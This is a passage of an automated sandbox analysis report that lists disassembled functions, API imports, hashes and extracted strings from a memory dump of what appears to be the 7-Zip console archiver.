free.MSVCRT ref: 00132A6C
free.MSVCRT ref: 00132A77
free.MSVCRT ref: 00132B8F
free.MSVCRT ref: 00132B97
free.MSVCRT ref: 00132BA8
free.MSVCRT ref: 00132BB6
free.MSVCRT ref: 00132BC1
free.MSVCRT ref: 00132C12
free.MSVCRT ref: 00132C1D
free.MSVCRT ref: 00132C30
free.MSVCRT ref: 00132C3B
free.MSVCRT ref: 00132C4E
free.MSVCRT ref: 00132C59
free.MSVCRT ref: 00132C6C
free.MSVCRT ref: 00132C77
free.MSVCRT ref: 00132CA7
free.MSVCRT ref: 00132CAF
free.MSVCRT ref: 00132CBB
free.MSVCRT ref: 00132CC9
free.MSVCRT ref: 00132CD4
free.MSVCRT ref: 00132D10
free.MSVCRT ref: 00132D18
free.MSVCRT ref: 00132D29
free.MSVCRT ref: 00132D37
free.MSVCRT ref: 00132D42
free.MSVCRT ref: 00132E6E
free.MSVCRT ref: 00132E79
free.MSVCRT ref: 00132EA6
free.MSVCRT ref: 00132EB1
free.MSVCRT ref: 00132F03
free.MSVCRT ref: 00132F0E
free.MSVCRT ref: 00132F97
free.MSVCRT ref: 00132F9F
free.MSVCRT ref: 00132FAD
free.MSVCRT ref: 00132FC2
free.MSVCRT ref: 00132FCD
free.MSVCRT ref: 0013300C
free.MSVCRT ref: 00133017
free.MSVCRT ref: 00133027
free.MSVCRT ref: 00133032
free.MSVCRT ref: 00133042
free.MSVCRT ref: 0013304D
free.MSVCRT ref: 0013305E
free.MSVCRT ref: 001331EB
free.MSVCRT ref: 001331F6
free.MSVCRT ref: 0013321C
free.MSVCRT ref: 00133227

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

free.MSVCRT ref: 0013325A
free.MSVCRT ref: 00133262

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 00133270
free.MSVCRT ref: 0013329E
free.MSVCRT ref: 001332A6
free.MSVCRT ref: 001332D9
free.MSVCRT ref: 001332E1
free.MSVCRT ref: 001332F1
free.MSVCRT ref: 001333E5
free.MSVCRT ref: 00133445
free.MSVCRT ref: 00133455
free.MSVCRT ref: 00133464
free.MSVCRT ref: 00133472
free.MSVCRT ref: 00133490
free.MSVCRT ref: 0013349E
free.MSVCRT ref: 001334BC
free.MSVCRT ref: 001334CA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: 54998ac9b43deb3202669fcf7b5c24000f3dc5e44eba4657052351fa2ee4f982
Instruction ID: d9583e14512c2c735d61d26614fc4099cd5da0cc676540f53a5abdabd1bc6b4c
Opcode Fuzzy Hash: 54998ac9b43deb3202669fcf7b5c24000f3dc5e44eba4657052351fa2ee4f982
Instruction Fuzzy Hash: 0D828E32218AC096CB34EF25E4913EEB360FB96B90F544126EB9D57B59DF78C985CB00

Function 001347AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 001348E0
free.MSVCRT ref: 001348EE
free.MSVCRT ref: 001349B8
free.MSVCRT ref: 001349F1
free.MSVCRT ref: 001349FF
free.MSVCRT ref: 00134A0D
free.MSVCRT ref: 00134A18
free.MSVCRT ref: 00134A47
free.MSVCRT ref: 00134A4F
free.MSVCRT ref: 00134A5D
free.MSVCRT ref: 00135052

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

free.MSVCRT ref: 00134C20
free.MSVCRT ref: 00134C2E
free.MSVCRT ref: 00134C3C
free.MSVCRT ref: 00134C47
free.MSVCRT ref: 00134C79
free.MSVCRT ref: 00134C81
free.MSVCRT ref: 00134C90
free.MSVCRT ref: 00134CB3
free.MSVCRT ref: 00134CC1
free.MSVCRT ref: 00134CCF
free.MSVCRT ref: 00134CDA
free.MSVCRT ref: 00134D0C
free.MSVCRT ref: 00134D14
free.MSVCRT ref: 00134D23
free.MSVCRT ref: 00134D76
free.MSVCRT ref: 00134D84
free.MSVCRT ref: 00134D92
free.MSVCRT ref: 00134D9D
free.MSVCRT ref: 00134DCC
free.MSVCRT ref: 00134DD4
free.MSVCRT ref: 00134DE3
GetLastError.KERNEL32 ref: 00134E70
free.MSVCRT ref: 00134EB2
free.MSVCRT ref: 00134EC0
free.MSVCRT ref: 00134ECE
free.MSVCRT ref: 00134ED9
free.MSVCRT ref: 00134F08
free.MSVCRT ref: 00134F10
free.MSVCRT ref: 00134F1F
free.MSVCRT ref: 00134FD5
free.MSVCRT ref: 00134FE3
free.MSVCRT ref: 00134FF1
free.MSVCRT ref: 00134FFC
free.MSVCRT ref: 0013502B
free.MSVCRT ref: 00135033
free.MSVCRT ref: 00135042
_CxxThrowException.MSVCRT ref: 0013510C
free.MSVCRT ref: 001351B9
free.MSVCRT ref: 001351C7
free.MSVCRT ref: 001351D5
free.MSVCRT ref: 001351E0
free.MSVCRT ref: 0013520F
free.MSVCRT ref: 00135217
free.MSVCRT ref: 00135226
free.MSVCRT ref: 00135234

Strings

Can not create output directory: , xrefs: 00134E83

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: e036129a2e5d4b967442d4175a3c84e7df6876bc85e9b62eccccb7c00278bf18
Instruction ID: e301e462e5c2bb68366a7bd1bd957dad48afb632d78a47317b07e5068c21af6f
Opcode Fuzzy Hash: e036129a2e5d4b967442d4175a3c84e7df6876bc85e9b62eccccb7c00278bf18
Instruction Fuzzy Hash: 93425C22219AC096CB34EB25E8903EEB361F7D6B80F545222DB9D57B59DF38C995CB00

Function 00135458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0013558E
_CxxThrowException.MSVCRT ref: 001355C2
_CxxThrowException.MSVCRT ref: 001355E6
memset.MSVCRT ref: 0013561F
free.MSVCRT ref: 001356F2
free.MSVCRT ref: 00135F84

Strings

there is no such archive, xrefs: 001355A4, 00135EF9
can't decompress folder, xrefs: 001355C8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: 0531c0556df1e1cc1da6671d873316a8f13ad98ec2fb73028dbba5c41659c69e
Instruction ID: f1ad2f472d14bc74ebd710736e13086e4dd5fe2c28ed2c9bf51a8fb82a6e89ee
Opcode Fuzzy Hash: 0531c0556df1e1cc1da6671d873316a8f13ad98ec2fb73028dbba5c41659c69e
Instruction Fuzzy Hash: 6C525A32209AC096CB24DF25E4843AEB765F796BD4F455222DF9E53B29DF38C895CB00

Function 0013F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86925bdf96b53b796196216b433522d18a2852d7a9fec4d1aa65d4bf3be89989
Instruction ID: 6f96bd030aa157814ee7a24321d8cb88724fb30a2ae5e9fe1092f23f14a76396
Opcode Fuzzy Hash: 86925bdf96b53b796196216b433522d18a2852d7a9fec4d1aa65d4bf3be89989
Instruction Fuzzy Hash: C942833B609AC086CB24DF25E0946AF7765F7DAB88F561025EB4E47B25CF39C49AC700

Function 00120DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00120E15
free.MSVCRT ref: 00120E4E
_CxxThrowException.MSVCRT ref: 00120E7A
free.MSVCRT ref: 00120EBD
wcscmp.MSVCRT ref: 00120F33
_CxxThrowException.MSVCRT ref: 00120F9B
_CxxThrowException.MSVCRT ref: 0012112A
_CxxThrowException.MSVCRT ref: 001213AC
_CxxThrowException.MSVCRT ref: 001214D3
_CxxThrowException.MSVCRT ref: 001215E3
_CxxThrowException.MSVCRT ref: 00121730
_CxxThrowException.MSVCRT ref: 00121761
_CxxThrowException.MSVCRT ref: 001217A2
_CxxThrowException.MSVCRT ref: 00121801
_CxxThrowException.MSVCRT ref: 0012186B
_CxxThrowException.MSVCRT ref: 00121171

Part of subcall function 001163D0: free.MSVCRT ref: 00116440
Part of subcall function 001163D0: free.MSVCRT ref: 00116448

_CxxThrowException.MSVCRT ref: 001218F2

Strings

Unsupported -spf:, xrefs: 00120F7E
I won't write data and program's messages to same stream, xrefs: 001214B3, 00121782
Cannot use absolute pathnames for this command, xrefs: 0012138C
-ai switch is not supported for this command, xrefs: 001215C3
The command must be specified, xrefs: 00120DF5
Cannot find archive name, xrefs: 0012110A
Unsupported command:, xrefs: 00120E57
Archive name cannot by empty, xrefs: 00121151
I won't write compressed data to a terminal, xrefs: 00121741
Incorrect Number of benmchmark iterations, xrefs: 00121847
Only one archive can be created with rename command, xrefs: 001217E1
stdout mode and email mode cannot be combined, xrefs: 00121710

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: 4a32cce8377689d714047cf16e735a085f0a20aab7f602feb133414a83ce1ac6
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: 0852E2723086D1A7DB29CF25E1903EEBB61F3A9744F884026DB9907B16DB79D5B8C700

Function 00121D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00121D12
CloseHandle.KERNEL32 ref: 00121D25
OpenProcessToken.ADVAPI32 ref: 00121D48
LookupPrivilegeValueW.ADVAPI32 ref: 00121D70
AdjustTokenPrivileges.KERNELBASE ref: 00121D93
CloseHandle.KERNEL32 ref: 00121DA7
GetLastError.KERNEL32 ref: 00121DB1
CloseHandle.KERNELBASE ref: 00121DC6

Strings

SeSecurityPrivilege, xrefs: 00121D57

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 1313864721-2333288578
Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction ID: 2674aaf1357d0aa46e051871185d8e9c27eab0f506249faf68ad87a967c7dc03
Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction Fuzzy Hash: C1114276204F44D2DA00DB62FD983AAB3A7FBD4781F940516EA8B47A94CF3CD555C710

Function 0011AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0011AC84
OpenProcessToken.ADVAPI32 ref: 0011AC95
LookupPrivilegeValueW.ADVAPI32 ref: 0011ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,0011F928), ref: 0011ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,0011F928), ref: 0011ACEA
CloseHandle.KERNELBASE ref: 0011ACFA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 2baeee92401946e6dfcc3845c11900c2c6409db8a08f77b905990a13e5537f04
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: 0F012D72615A81C7DB108FB4E8847DA6761F7C4B96F945139EB4A87A54CF38C48A8B40

Function 00117978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0011794C: FindClose.KERNELBASE ref: 0011795E

FindFirstFileW.KERNELBASE ref: 001179BA

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

FindFirstFileW.KERNELBASE ref: 001179FA
free.MSVCRT ref: 00117A08

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: a24b7812c528055ac478d825c074b9ffae57904fc4f282dcd3a009312f6232e2
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 1D213C76208A8086CB25DF24F8403AD6771F79A7B8F544320EAB9477D8DF38CA89C700

Function 00124418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON

Download Yara Rule

Strings

Dangerous link path was ignored, xrefs: 00125CC1
Internal error for symbolic link file, xrefs: 00125EFB
Can not create hard link, xrefs: 00125E04, 001261B7
Can not set length for output file, xrefs: 001263C0
Can not create symbolic link, xrefs: 00125FAB
\??\, xrefs: 0012485F
Can not delete output file, xrefs: 00125AD5
Can not seek to begin of file, xrefs: 0012642F
Incorrect path, xrefs: 00125D6E
Can not open output file, xrefs: 001262D7
Can not create file with auto name, xrefs: 00125796, 00125867
Can not delete output folder, xrefs: 00125A0E
Can not rename existing file, xrefs: 0012592F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2438533581
Opcode ID: 31e8e2464abff9e4674f824b8fe8aa86b8c880a59c4e4c35cb32490b8a983749
Instruction ID: 0d94bc930030f348a3195867a7b421fe06e01f4402ef687fc9a58125be442c0d
Opcode Fuzzy Hash: 31e8e2464abff9e4674f824b8fe8aa86b8c880a59c4e4c35cb32490b8a983749
Instruction Fuzzy Hash: 2F038332248A9092CB38EB25F4906EEB761F7D6BC0F554122E79E47B25DF79C8A5C700

Function 0015950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 001597B9
free.MSVCRT ref: 001597C1
free.MSVCRT ref: 001597D3
free.MSVCRT ref: 001597E0
free.MSVCRT ref: 001597EE
free.MSVCRT ref: 00159809
free.MSVCRT ref: 0015996E
free.MSVCRT ref: 00159976
free.MSVCRT ref: 00159988
free.MSVCRT ref: 00159995
free.MSVCRT ref: 001599A3
free.MSVCRT ref: 001599C0
free.MSVCRT ref: 001599CD
fputs.MSVCRT ref: 00159A02
fputs.MSVCRT ref: 00159A12
_CxxThrowException.MSVCRT ref: 00159A3A

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

_CxxThrowException.MSVCRT ref: 0015A5E1
free.MSVCRT ref: 0015A5EF
free.MSVCRT ref: 0015A61C
free.MSVCRT ref: 0015A62E
free.MSVCRT ref: 0015A696
free.MSVCRT ref: 0015A69E
free.MSVCRT ref: 0015A6B0

Part of subcall function 00113518: free.MSVCRT ref: 00113551

Strings

Can't open as archive: , xrefs: 0015A03F
Archives with Errors: , xrefs: 0015A07A
Folders: , xrefs: 0015A1A8
Open Errors: , xrefs: 0015A138
7zCon.sfx, xrefs: 00159543
Archives: , xrefs: 00159FE1
Alternate Streams: , xrefs: 0015A228
Sub items Errors: , xrefs: 0015A2FB
OK archives: , xrefs: 0015A008
ERROR:, xrefs: 00159F89
Size: , xrefs: 0015A278
Warnings: , xrefs: 0015A0F0
ERROR: , xrefs: 001599FB
Alternate Streams Size: , xrefs: 0015A250
Archives with Warnings: , xrefs: 0015A0AF
Compressed: , xrefs: 0015A2A3
Files: , xrefs: 0015A1F6
Incorrect command line, xrefs: 00159A0B

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: 11d01540a39dce0bb1392d162864f339a00698b2bef8d558280933a9d6caa4c8
Instruction ID: 935f8b6e835d57d474283daf15d4a610664b70cc92447010c3f6036bf02f587f
Opcode Fuzzy Hash: 11d01540a39dce0bb1392d162864f339a00698b2bef8d558280933a9d6caa4c8
Instruction Fuzzy Hash: 12727C32219AC0D5DA34EF25E8903DEB3A0F795B81F844126DAAD4BB19DF3CC599CB41

Function 00159B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00159B6B

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 00159C12

Strings

Can't open as archive: , xrefs: 0015A03F
Archives with Errors: , xrefs: 0015A07A
Folders: , xrefs: 0015A1A8
Open Errors: , xrefs: 0015A138
Archives: , xrefs: 00159FE1
Alternate Streams: , xrefs: 0015A228
Scanning the drive for archives:, xrefs: 00159B64
OK archives: , xrefs: 0015A008
ERROR:, xrefs: 00159F89
Size: , xrefs: 0015A278
Warnings: , xrefs: 0015A0F0
Alternate Streams Size: , xrefs: 0015A250
Archives with Warnings: , xrefs: 0015A0AF
Compressed: , xrefs: 0015A2A3
Files: , xrefs: 0015A1F6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: 9f8d3f089e5bbee8a8fec75c9303cdb3bd7fbc97e434fa3096768bda7bab5141
Instruction ID: 7c8b0783c73dbae761969c80973a7e404ee73c56a3b97cda1adfe043abd0c42b
Opcode Fuzzy Hash: 9f8d3f089e5bbee8a8fec75c9303cdb3bd7fbc97e434fa3096768bda7bab5141
Instruction Fuzzy Hash: F3224C32319AC1D1DA38EF25E8903EEB3A0F795B81F844126DAAD47B19DF38C599C701

Function 0013A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 0013A1BF
GetProcAddress.KERNEL32 ref: 0013A1D2
GetProcAddress.KERNEL32 ref: 0013A1F5
GetProcAddress.KERNEL32 ref: 0013A21E

Strings

GetNumberOfFormats, xrefs: 0013A1EB
GetHandlerProperty, xrefs: 0013A214
GetHandlerProperty2, xrefs: 0013A1B5
GetIsArc, xrefs: 0013A1C8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: cb2dc4ab122eac0aefa29758d493a890b66f0c095af12c08d7e82ec3a4e8295b
Instruction ID: 554ad3921f5416035eaaeed460ee461871c617f5708a51032287028415cd89e0
Opcode Fuzzy Hash: cb2dc4ab122eac0aefa29758d493a890b66f0c095af12c08d7e82ec3a4e8295b
Instruction Fuzzy Hash: D6D18572319AC096C620EB21E8807DEB7A5FBD6780F841521EACE47B59DF7CC545CB01

Function 001170C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00117D4C: GetFileAttributesW.KERNELBASE ref: 00117D6E
Part of subcall function 00117D4C: GetFileAttributesW.KERNEL32 ref: 00117DA5
Part of subcall function 00117D4C: free.MSVCRT ref: 00117DB2

free.MSVCRT ref: 001173F6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: fca546554f7ad1894fd352af642a141b49cbdf9c3f1c54714a91a4a7bd366657
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: F181682221C54192CA28EF21E4516EEA731FBD6744F441132FB9E87BA9DF38C9C6D700

Function 00117EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0011812F
free.MSVCRT ref: 0011816A
free.MSVCRT ref: 0011817F
free.MSVCRT ref: 00118232

Part of subcall function 0011ABB0: GetModuleHandleW.KERNEL32 ref: 0011ABD1
Part of subcall function 0011ABB0: GetProcAddress.KERNEL32 ref: 0011ABE1
Part of subcall function 0011ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 0011AC32

SetLastError.KERNEL32 ref: 0011818F
free.MSVCRT ref: 0011819B
free.MSVCRT ref: 001181A6
free.MSVCRT ref: 001181BB
free.MSVCRT ref: 00118243
free.MSVCRT ref: 0011824E
free.MSVCRT ref: 0011815F

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

Strings

